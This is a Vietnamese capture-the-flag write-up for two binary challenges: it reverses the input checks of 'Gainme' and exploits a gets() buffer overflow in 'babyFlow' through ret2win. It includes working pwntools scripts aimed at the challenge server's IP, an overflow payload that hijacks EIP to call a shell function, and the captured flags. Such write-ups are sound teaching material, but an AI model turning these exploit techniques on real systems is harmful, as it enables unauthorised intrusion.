# (writeup) ICTF ## Gainme - basic file check ![](https://i.imgur.com/Xj3mlMQ.png) - kiểm tra ida ![](https://i.imgur.com/EGQ5J40.png) - những hàm gần **main** >print_flag >lvlone >lvltwo >lvlthree >lvlfour >**main** - chương trình sẽ kiểm tra lần lượt input của mình mỗi lần nhập, nếu đúng sẽ đi tiếp lvl kế, sai thì ngắt chương trình >lvlone ![](https://i.imgur.com/WAmGKDq.png) - so sánh chuỗi nhập vào với "ICTF4" >lvltwo ![](https://i.imgur.com/GDxkF9P.png) - cũng là 1 dạng so sánh chuỗi nhập vào với dữ liệu trên file - dữ liệu đó k hiện thị trên ida64 nên sẽ tìm kiếm trong gdb thông qua hàm **cmp**(compare) ![](https://i.imgur.com/UGOgG4E.png) - và ta nhận được là: ![](https://i.imgur.com/JNWqeRs.png) ``dasDASQWgjtrkodsc`` >lvlthree ![](https://i.imgur.com/EyMlPYy.png) - đây là nhập vào số âm -559038737 để ret về result >lvlfour ![](https://i.imgur.com/iZCPnJ4.png) - đây kiểm tra biến v2 nếu True(=1) thì lấy flag - nhìn qua thì đây là pt bậc 3 1 ẩn, ẩn là v2, giải ra thì được đáp số là '1' >print_flag ![](https://i.imgur.com/Qe8dEk7.png) - hàm này sẽ đọc dữ liệu từ file *flag.txt* - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./Gainme', checksec=False) #p = process(exe.path) p = remote('143.198.219.171', 5003) p.sendlineafter(b'0: ', b'ICTF4') p.sendlineafter(b'1: ', b'dasDASQWgjtrkodsc') p.sendlineafter(b'2: ', p32(-559038737,sign=True)) p.sendlineafter(b'3: ', b'1') p.interactive() ``` ![](https://i.imgur.com/Kw0TblI.png) >ictf{g@inm3-sf23f-4fd2150cd33db} --- ## babyFlow - kiểm tra tổng quát ![](https://i.imgur.com/smZvwAf.png) - kiểm tra ida ![](https://i.imgur.com/slEjvpm.png) - những hàm gần **main** >get_shell >vulnerable_function >**main** - ở đây có thể thấy 1 lỗi BOF đến từ vị trí **gets()**, hướng đi là phương pháp ret2win ![](https://i.imgur.com/y7xK8Hw.png) ![](https://i.imgur.com/FLQlGQr.png) - vì là ret2win nên ta cần overwrite được **$eip** - offset: ![](https://i.imgur.com/QN9lVrt.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./babyFlow',checksec=False) #p = process(exe.path) p = remote('143.198.219.171',5000) payload = b'A'*24 payload += p32(exe.sym['get_shell']) p.sendlineafter(b'me?\n', payload) p.interactive() ``` ![](https://i.imgur.com/i8iGZY1.png) >ictf{bf930bcd-6c10-4c05-bdd8-435db4b50cdb}